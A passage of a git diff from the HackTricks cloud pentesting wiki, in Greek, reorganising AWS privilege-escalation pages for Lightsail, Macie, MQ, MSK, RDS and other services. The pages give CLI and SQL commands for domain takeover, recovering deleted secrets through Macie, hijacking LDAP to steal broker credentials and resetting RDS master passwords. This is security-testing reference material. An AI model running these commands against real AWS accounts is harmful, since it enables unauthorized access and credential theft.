getObject=public,allowPublicOverrides=true + +# Bucket private but single objects can be public +aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true +``` +**Potential Impact:** Πιθανή νέα πρόσβαση σε buckets με ευαίσθητες πληροφορίες. + +### `lightsail:UpdateContainerService` + +Με αυτά τα permissions, ένας attacker θα μπορούσε να χορηγήσει πρόσβαση σε private ECRs από την containers service +```bash +aws update-container-service \ +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} +``` +**Πιθανές Επιπτώσεις:** Λήψη ευαίσθητων πληροφοριών από ιδιωτικό ECR + +### `lightsail:CreateDomainEntry` + +Ένας attacker με αυτήν την άδεια θα μπορούσε να δημιουργήσει subdomain και να το δείξει στη δική του IP address (subdomain takeover), ή να δημιουργήσει ένα SPF record που του επιτρέπει να spoof emails από το domain, ή ακόμα και να ορίσει το κύριο domain στη δική του IP address. +```bash +aws lightsail create-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Πιθανός αντίκτυπος:** Takeover a domain + +### `lightsail:UpdateDomainEntry` + +Ένας attacker με αυτή την άδεια θα μπορούσε να δημιουργήσει ένα subdomain και να το δείξει στη δική του IP address (subdomain takeover), ή να δημιουργήσει μια SPF record που του επιτρέπει να spoof emails από το domain, ή ακόμα και να ορίσει το κύριο domain στην δική του IP address. +```bash +aws lightsail update-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Πιθανός Αντίκτυπος:** Κατάληψη ενός domain + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index 244e27fe4..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Για περισσότερες πληροφορίες σχετικά με το Macie, ελέγξτε: - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - Παράκαμψη Ελέγχου Ακεραιότητας `Reveal Sample` - -Το AWS Macie είναι μια υπηρεσία ασφαλείας που ανιχνεύει αυτόματα ευαίσθητα δεδομένα εντός των περιβαλλόντων AWS, όπως διαπιστευτήρια, προσωπικά αναγνωρίσιμες πληροφορίες (PII) και άλλα εμπιστευτικά δεδομένα. Όταν το Macie εντοπίζει ένα ευαίσθητο διαπιστευτήριο, όπως ένα μυστικό κλειδί AWS που είναι αποθηκευμένο σε έναν κάδο S3, δημιουργεί μια εύρεση που επιτρέπει στον κάτοχο να δει ένα "δείγμα" των ανιχνευθέντων δεδομένων. Συνήθως, μόλις το ευαίσθητο αρχείο αφαιρεθεί από τον κάδο S3, αναμένεται ότι το μυστικό δεν μπορεί πλέον να ανακτηθεί. - -Ωστόσο, έχει εντοπιστεί μια **παράκαμψη** όπου ένας επιτιθέμενος με επαρκή δικαιώματα μπορεί να **ξαναφορτώσει ένα αρχείο με το ίδιο όνομα** αλλά περιέχοντας διαφορετικά, μη ευαίσθητα δεδομένα. Αυτό προκαλεί το Macie να συσχετίσει το νέο ανεβασμένο αρχείο με την αρχική εύρεση, επιτρέποντας στον επιτιθέμενο να χρησιμοποιήσει τη δυνατότητα **"Reveal Sample"** για να εξαγάγει το προηγουμένως ανιχνευθέν μυστικό. Αυτό το ζήτημα θέτει σημαντικό κίνδυνο ασφαλείας, καθώς τα μυστικά που θεωρούνταν διαγραμμένα παραμένουν ανακτήσιμα μέσω αυτής της μεθόδου. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**Βήματα για Αναπαραγωγή:** - -1. Ανεβάστε ένα αρχείο (π.χ., `test-secret.txt`) σε έναν κάδο S3 με ευαίσθητα δεδομένα, όπως ένα μυστικό κλειδί AWS. Περιμένετε να σαρώσει το AWS Macie και να δημιουργήσει μια εύρεση. - -2. Μεταβείτε στις Ευρήματα του AWS Macie, εντοπίστε την παραγόμενη εύρεση και χρησιμοποιήστε τη δυνατότητα **Reveal Sample** για να δείτε το ανιχνευθέν μυστικό. - -3. Διαγράψτε το `test-secret.txt` από τον κάδο S3 και επιβεβαιώστε ότι δεν υπάρχει πλέον. - -4. Δημιουργήστε ένα νέο αρχείο με το όνομα `test-secret.txt` με ψευδή δεδομένα και ξαναφορτώστε το στον ίδιο κάδο S3 χρησιμοποιώντας **τον λογαριασμό του επιτιθέμενου**. - -5. Επιστρέψτε στα Ευρήματα του AWS Macie, αποκτήστε πρόσβαση στην αρχική εύρεση και κάντε κλικ στο **Reveal Sample** ξανά. - -6. Παρατηρήστε ότι το Macie αποκαλύπτει ακόμα το αρχικό μυστικό, παρά το γεγονός ότι το αρχείο έχει διαγραφεί και αντικατασταθεί με διαφορετικό περιεχόμενο **από διαφορετικούς λογαριασμούς, στην περίπτωσή μας θα είναι ο λογαριασμός του επιτιθέμενου**. - -**Σύνοψη:** - -Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο με επαρκή δικαιώματα AWS IAM να ανακτήσει προηγουμένως ανιχνευθέντα μυστικά ακόμη και μετά τη διαγραφή του αρχικού αρχείου από το S3. Εάν ένα μυστικό κλειδί AWS, ένα διακριτικό πρόσβασης ή άλλο ευαίσθητο διαπιστευτήριο εκτεθεί, ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την αδυναμία για να το ανακτήσει και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στους πόρους AWS. Αυτό θα μπορούσε να οδηγήσει σε κλιμάκωση προνομίων, μη εξουσιοδοτημένη πρόσβαση σε δεδομένα ή περαιτέρω συμβιβασμό των περιουσιακών στοιχείων του cloud, με αποτέλεσμα παραβιάσεις δεδομένων και διακοπές υπηρεσιών. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..e359e3fcb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ -0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Για περισσότερες πληροφορίες σχετικά με την Macie δείτε: + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integrity Check + +AWS Macie είναι μια υπηρεσία ασφάλειας που εντοπίζει αυτόματα ευαίσθητα δεδομένα εντός περιβαλλόντων AWS, όπως credentials, personally identifiable information (PII) και άλλα εμπιστευτικά δεδομένα. Όταν η Macie εντοπίζει ένα ευαίσθητο credential, όπως ένα AWS secret key αποθηκευμένο σε ένα S3 bucket, δημιουργεί ένα finding που επιτρέπει στον ιδιοκτήτη να δει ένα "sample" των εντοπισμένων δεδομένων. Τυπικά, μόλις το ευαίσθητο αρχείο αφαιρεθεί από το S3 bucket, αναμένεται ότι το secret δεν μπορεί πλέον να ανακτηθεί. + +Ωστόσο, έχει εντοπιστεί ένα **bypass** όπου ένας attacker με επαρκή permissions μπορεί να **re-upload a file with the same name** αλλά με διαφορετικά, μη-ευαίσθητα dummy δεδομένα. Αυτό προκαλεί τη Macie να συσχετίσει το νεοανεβασμένο αρχείο με το αρχικό finding, επιτρέποντας στον attacker να χρησιμοποιήσει τη λειτουργία **"Reveal Sample" feature** για να εξάγει το προηγουμένως εντοπισμένο secret. Αυτό το ζήτημα αποτελεί σημαντικό κίνδυνο ασφάλειας, καθώς τα secrets που θεωρούνταν διαγραμμένα παραμένουν ανακτήσιμα μέσω αυτής της μεθόδου. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Steps To Reproduce:** + +1. Upload ένα αρχείο (π.χ. `test-secret.txt`) σε ένα S3 bucket με ευαίσθητα δεδομένα, όπως ένα AWS secret key. Περιμένετε μέχρι η AWS Macie να σαρώσει και να δημιουργήσει ένα finding. + +2. Μεταβείτε στα AWS Macie Findings, εντοπίστε το δημιουργημένο finding, και χρησιμοποιήστε τη λειτουργία **Reveal Sample** για να δείτε το εντοπισμένο secret. + +3. Διαγράψτε το `test-secret.txt` από το S3 bucket και επαληθεύστε ότι δεν υπάρχει πλέον. + +4. Δημιουργήστε ένα νέο αρχείο με όνομα `test-secret.txt` με dummy δεδομένα και ανεβάστε το ξανά στο ίδιο S3 bucket χρησιμοποιώντας τον **attacker's account**. + +5. Επιστρέψτε στα AWS Macie Findings, ανοίξτε το αρχικό finding, και κάντε κλικ ξανά στο **Reveal Sample**. + +6. Παρατηρήστε ότι η Macie εξακολουθεί να αποκαλύπτει το αρχικό secret, παρόλο που το αρχείο είχε διαγραφεί και αντικατασταθεί με διαφορετικό περιεχόμενο **από διαφορετικούς λογαριασμούς, στην περίπτωσή μας θα είναι ο attacker's account**. + +**Summary:** + +Αυτή η ευπάθεια επιτρέπει σε έναν attacker με επαρκή AWS IAM permissions να ανακτήσει προηγουμένως εντοπισμένα secrets ακόμα και μετά την διαγραφή του αρχικού αρχείου από το S3. Εάν ένα AWS secret key, access token, ή άλλο ευαίσθητο credential εκτεθεί, ένας attacker μπορεί να εκμεταλλευτεί αυτό το σφάλμα για να το ανακτήσει και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε πόρους AWS. Αυτό μπορεί να οδηγήσει σε privilege escalation, μη εξουσιοδοτημένη πρόσβαση σε δεδομένα, ή περαιτέρω συμβιβασμό cloud assets, προκαλώντας data breaches και διακοπές υπηρεσιών. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md index dd0f8bfbd..98e64e314 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -1,16 +1,16 @@ # AWS - Mediapackage Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `mediapackage:RotateChannelCredentials` -Αλλάζει το όνομα χρήστη και τον κωδικό πρόσβασης του πρώτου IngestEndpoint του Καναλιού. (Αυτή η API έχει καταργηθεί για το RotateIngestEndpointCredentials) +Αλλάζει το username και το password του πρώτου IngestEndpoint του Channel. (Αυτό το API είναι deprecated για RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Αλλάζει το όνομα χρήστη και τον κωδικό πρόσβασης του πρώτου IngestEndpoint του Καναλιού. (Αυτή η API είναι απαρχαιωμένη για RotateIngestEndpointCredentials) +Αλλάζει το όνομα χρήστη και τον κωδικό πρόσβασης του πρώτου IngestEndpoint του Channel. (Αυτό το API έχει αποσυρθεί για RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` @@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint- - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index 90844f67a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -Για περισσότερες πληροφορίες σχετικά με το MQ, ελέγξτε: - -{{#ref}} -../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -Με αυτές τις άδειες μπορείτε να **δημιουργήσετε έναν νέο χρήστη σε έναν ActimeMQ broker** (αυτό δεν λειτουργεί σε RabbitMQ): -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**Πιθανές Επιπτώσεις:** Πρόσβαση σε ευαίσθητες πληροφορίες μέσω του ActiveMQ - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -Με αυτές τις άδειες μπορείτε να **δημιουργήσετε έναν νέο χρήστη σε έναν broker ActiveMQ** (αυτό δεν λειτουργεί στο RabbitMQ): -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**Πιθανές Επιπτώσεις:** Πρόσβαση σε ευαίσθητες πληροφορίες μέσω του ActiveMQ - -### `mq:ListBrokers`, `mq:UpdateBroker` - -Εάν ένας broker χρησιμοποιεί **LDAP** για εξουσιοδότηση με το **ActiveMQ**. Είναι δυνατόν να **αλλάξει** την **διαμόρφωση** του διακομιστή LDAP που χρησιμοποιείται σε **έναν που ελέγχεται από τον επιτιθέμενο**. Με αυτόν τον τρόπο, ο επιτιθέμενος θα είναι σε θέση να **κλέψει όλα τα διαπιστευτήρια που αποστέλλονται μέσω LDAP**. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -Αν μπορούσατε με κάποιο τρόπο να βρείτε τα αρχικά διαπιστευτήρια που χρησιμοποιούνται από το ActiveMQ, θα μπορούσατε να εκτελέσετε μια επίθεση MitM, να κλέψετε τα διαπιστευτήρια, να τα χρησιμοποιήσετε στον αρχικό διακομιστή και να στείλετε την απάντηση (ίσως απλά επαναχρησιμοποιώντας τα κλεμμένα διαπιστευτήρια θα μπορούσατε να το κάνετε αυτό). - -**Πιθανές Επιπτώσεις:** Κλοπή διαπιστευτηρίων ActiveMQ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..975f22c06 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +Για περισσότερες πληροφορίες σχετικά με το MQ δείτε: + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +Με αυτές τις άδειες μπορείτε να **δημιουργήσετε έναν νέο χρήστη σε έναν ActimeMQ broker** (αυτό δεν λειτουργεί σε RabbitMQ): +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**Πιθανός αντίκτυπος:** Πρόσβαση σε ευαίσθητες πληροφορίες κατά την πλοήγηση μέσω ActiveMQ + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +Με αυτά τα δικαιώματα μπορείτε να **δημιουργήσετε ένα νέο χρήστη σε έναν ActimeMQ broker** (αυτό δεν λειτουργεί σε RabbitMQ): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**Potential Impact:** Πρόσβαση σε ευαίσθητες πληροφορίες κατά την πλοήγηση μέσω ActiveMQ + +### `mq:ListBrokers`, `mq:UpdateBroker` + +Εάν ένας broker χρησιμοποιεί **LDAP** για εξουσιοδότηση με **ActiveMQ**, είναι δυνατό να **αλλάξει** η **διαμόρφωση** του LDAP server που χρησιμοποιείται σε έναν που ελέγχεται από τον attacker. Με αυτόν τον τρόπο ο attacker θα μπορεί να **κλέψει όλα τα credentials που αποστέλλονται μέσω LDAP**. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +Αν με κάποιον τρόπο βρεις τα αρχικά διαπιστευτήρια που χρησιμοποιεί το ActiveMQ, μπορείς να πραγματοποιήσεις ένα MitM, να κλέψεις τα creds, να τα χρησιμοποιήσεις στον αρχικό διακομιστή και να προωθήσεις την απάντηση (ίσως απλά επαναχρησιμοποιώντας τα κλεμμένα διαπιστευτήρια να το καταφέρεις). + +**Potential Impact:** Κλοπή διαπιστευτηρίων ActiveMQ + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index a49375f81..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -Για περισσότερες πληροφορίες σχετικά με το MSK (Kafka) ελέγξτε: - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -Με αυτά τα **προνόμια** και **πρόσβαση στο VPC όπου βρίσκονται οι kafka brokers**, θα μπορούσατε να προσθέσετε την **καμία αυθεντικοποίηση** για να έχετε πρόσβαση σε αυτούς. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -Πρέπει να έχετε πρόσβαση στο VPC γιατί **δεν μπορείτε να ενεργοποιήσετε την καμία αυθεντικοποίηση με το Kafka δημόσια** εκτεθειμένο. Αν είναι δημόσια εκτεθειμένο, αν χρησιμοποιείται **SASL/SCRAM** αυθεντικοποίηση, θα μπορούσατε να **διαβάσετε το μυστικό** για πρόσβαση (θα χρειαστείτε επιπλέον δικαιώματα για να διαβάσετε το μυστικό).\ -Αν χρησιμοποιείται **αυθεντικοποίηση βασισμένη σε ρόλους IAM** και **το kafka είναι δημόσια εκτεθειμένο**, θα μπορούσατε ακόμα να καταχραστείτε αυτά τα δικαιώματα για να σας δώσουν άδειες πρόσβασης. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..14a17b4ab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +Για περισσότερες πληροφορίες σχετικά με το MSK (Kafka) δείτε: + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +Με αυτά τα **privileges** και **access to the VPC where the kafka brokers are**, μπορείτε να προσθέσετε την **None authentication** για να αποκτήσετε πρόσβαση σε αυτά. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +Χρειάζεστε πρόσβαση στο VPC επειδή **δεν μπορείτε να ενεργοποιήσετε None authentication με το Kafka να είναι δημόσια εκτεθειμένο**. Αν είναι δημόσια εκτεθειμένο, αν χρησιμοποιείται **SASL/SCRAM** authentication, θα μπορούσατε να **read the secret** για πρόσβαση (θα χρειαστείτε επιπλέον προνόμια για να read the secret).\ +Αν χρησιμοποιείται **IAM role-based authentication** και **kafka είναι δημόσια εκτεθειμένο** μπορείτε ακόμα να καταχραστείτε αυτά τα προνόμια για να αποκτήσετε δικαιώματα πρόσβασης. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index 053f61480..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Organizations Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Οργανώσεις - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## Από τον λογαριασμό διαχείρισης στους λογαριασμούς παιδιών - -Εάν παραβιάσετε τον λογαριασμό root/διαχείρισης, οι πιθανότητες είναι ότι μπορείτε να παραβιάσετε όλους τους λογαριασμούς παιδιών.\ -Για [**να μάθετε πώς ελέγξτε αυτή τη σελίδα**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..7f97757e4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## Από τον λογαριασμό διαχείρισης στους θυγατρικούς λογαριασμούς + +Εάν συμβιβάσετε τον root/διαχειριστικό λογαριασμό, υπάρχουν καλές πιθανότητες να συμβιβάσετε όλους τους θυγατρικούς λογαριασμούς.\ +Για να [**μάθετε πώς, δείτε αυτή τη σελίδα**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index a81c99ea0..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - Υπηρεσία Σχεσιακής Βάσης Δεδομένων - -Για περισσότερες πληροφορίες σχετικά με το RDS ελέγξτε: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να **τροποποιήσει τον κωδικό πρόσβασης του κύριου χρήστη**, και την είσοδο μέσα στη βάση δεδομένων: -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> Θα χρειαστεί να μπορείτε να **επικοινωνήσετε με τη βάση δεδομένων** (συνήθως είναι προσβάσιμες μόνο από εσωτερικά δίκτυα). - -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων. - -### rds-db:connect - -Σύμφωνα με τα [**έγγραφα**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), ένας χρήστης με αυτή την άδεια θα μπορούσε να συνδεθεί στην DB instance. - -### Κατάχρηση δικαιωμάτων IAM ρόλου RDS - -#### Postgresql (Aurora) - -> [!TIP] -> Αν εκτελώντας **`SELECT datname FROM pg_database;`** βρείτε μια βάση δεδομένων που ονομάζεται **`rdsadmin`**, ξέρετε ότι βρίσκεστε μέσα σε μια **βάση δεδομένων AWS postgresql**. - -Αρχικά μπορείτε να ελέγξετε αν αυτή η βάση δεδομένων έχει χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε οποιαδήποτε άλλη υπηρεσία AWS. Μπορείτε να το ελέγξετε αυτό κοιτάζοντας τις εγκατεστημένες επεκτάσεις: -```sql -SELECT * FROM pg_extension; -``` -Αν βρείτε κάτι όπως **`aws_s3`** μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει **κάποιο είδος πρόσβασης στο S3** (υπάρχουν άλλες επεκτάσεις όπως **`aws_ml`** και **`aws_lambda`**). - -Επίσης, αν έχετε άδειες να εκτελέσετε **`aws rds describe-db-clusters`** μπορείτε να δείτε εκεί αν το **cluster έχει οποιοδήποτε IAM Role συσχετισμένο** στο πεδίο **`AssociatedRoles`**. Αν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν **έτοιμη να έχει πρόσβαση σε άλλες υπηρεσίες AWS**. Βασισμένοι στο **όνομα του ρόλου** (ή αν μπορείτε να αποκτήσετε τις **άδειες** του ρόλου) θα μπορούσατε να **μαντέψετε** ποια επιπλέον πρόσβαση έχει η βάση δεδομένων. - -Τώρα, για να **διαβάσετε ένα αρχείο μέσα σε ένα bucket** πρέπει να γνωρίζετε την πλήρη διαδρομή. Μπορείτε να το διαβάσετε με: -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -Αν είχατε **ακατέργαστα διαπιστευτήρια AWS**, θα μπορούσατε επίσης να τα χρησιμοποιήσετε για να αποκτήσετε πρόσβαση σε δεδομένα S3 με: -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Το Postgresql **δεν χρειάζεται να αλλάξει καμία μεταβλητή ομάδας παραμέτρων** για να μπορέσει να έχει πρόσβαση στο S3. - -#### Mysql (Aurora) - -> [!TIP] -> Μέσα σε ένα mysql, αν εκτελέσετε το ερώτημα **`SELECT User, Host FROM mysql.user;`** και υπάρχει ένας χρήστης που ονομάζεται **`rdsadmin`**, μπορείτε να υποθέσετε ότι βρίσκεστε μέσα σε μια **AWS RDS mysql db**. - -Μέσα στο mysql εκτελέστε **`show variables;`** και αν οι μεταβλητές όπως **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, έχουν τιμές, μπορείτε να υποθέσετε ότι η βάση δεδομένων είναι προετοιμασμένη να έχει πρόσβαση σε δεδομένα S3. - -Επίσης, αν έχετε δικαιώματα να εκτελέσετε **`aws rds describe-db-clusters`** μπορείτε να ελέγξετε αν το cluster έχει οποιονδήποτε **συσχετισμένο ρόλο**, που συνήθως σημαίνει πρόσβαση σε υπηρεσίες AWS). - -Τώρα, για να **διαβάσετε ένα αρχείο μέσα σε ένα bucket** πρέπει να γνωρίζετε την πλήρη διαδρομή. Μπορείτε να το διαβάσετε με: -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -Ένας επιτιθέμενος με τις άδειες `rds:AddRoleToDBCluster` και `iam:PassRole` μπορεί να **προσθέσει έναν καθορισμένο ρόλο σε μια υπάρχουσα RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός της instance. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` -**Πιθανές Επιπτώσεις**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα της RDS παρουσίας.\ -Σημειώστε ότι ορισμένες βάσεις δεδομένων απαιτούν επιπλέον ρυθμίσεις όπως το Mysql, το οποίο χρειάζεται να καθορίσει το ρόλο ARN στις ομάδες παραμέτρων επίσης. - -### `rds:CreateDBInstance` - -Μόνο με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει μια **νέα παρουσία μέσα σε ένα κλάστερ** που ήδη υπάρχει και έχει συνημμένο ένα **IAM ρόλο**. Δεν θα μπορεί να αλλάξει τον κωδικό πρόσβασης του κύριου χρήστη, αλλά μπορεί να είναι σε θέση να εκθέσει τη νέα βάση δεδομένων στο διαδίκτυο: -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: Δοκιμή - -Ένας επιτιθέμενος με τις άδειες `rds:CreateDBInstance` και `iam:PassRole` μπορεί **να δημιουργήσει μια νέα RDS instance με έναν καθορισμένο ρόλο συνδεδεμένο**. Ο επιτιθέμενος μπορεί στη συνέχεια δυνητικά **να έχει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός της instance. - -> [!WARNING] -> Ορισμένες απαιτήσεις του ρόλου/προφίλ instance που πρέπει να συνδεθούν (από [**εδώ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - Το προφίλ πρέπει να υπάρχει στον λογαριασμό σας. -> - Το προφίλ πρέπει να έχει έναν IAM ρόλο που η Amazon EC2 έχει άδειες να αναλάβει. -> - Το όνομα του προφίλ instance και το σχετικό όνομα IAM ρόλου πρέπει να ξεκινούν με το πρόθεμα 